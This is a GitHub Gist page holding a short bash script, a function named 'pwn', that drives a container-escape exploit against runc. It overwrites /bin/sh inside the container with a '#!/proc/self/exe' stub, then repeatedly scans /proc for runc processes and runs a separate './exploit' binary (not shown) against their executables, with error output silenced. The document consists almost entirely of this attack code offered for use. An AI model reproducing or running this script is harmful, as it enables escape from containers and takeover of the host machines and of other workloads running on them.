Created
February 18, 2019 11:35
-
-
Save johanot/f4f372be34dc3d1384b0d2b2871bd44a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
function pwn() { | |
echo '#!/proc/self/exe' > /bin/sh | |
chmod +x /bin/sh | |
while true; do | |
for f in /proc/*/exe; do | |
tmp=${f%/*} | |
pid=${tmp##*/} | |
cmdline=$(cat /proc/${pid}/cmdline) | |
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then | |
echo starting exploit | |
./exploit /proc/${pid}/exe | |
fi | |
done | |
done | |
} | |
exec 2>/dev/null | |
pwn |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment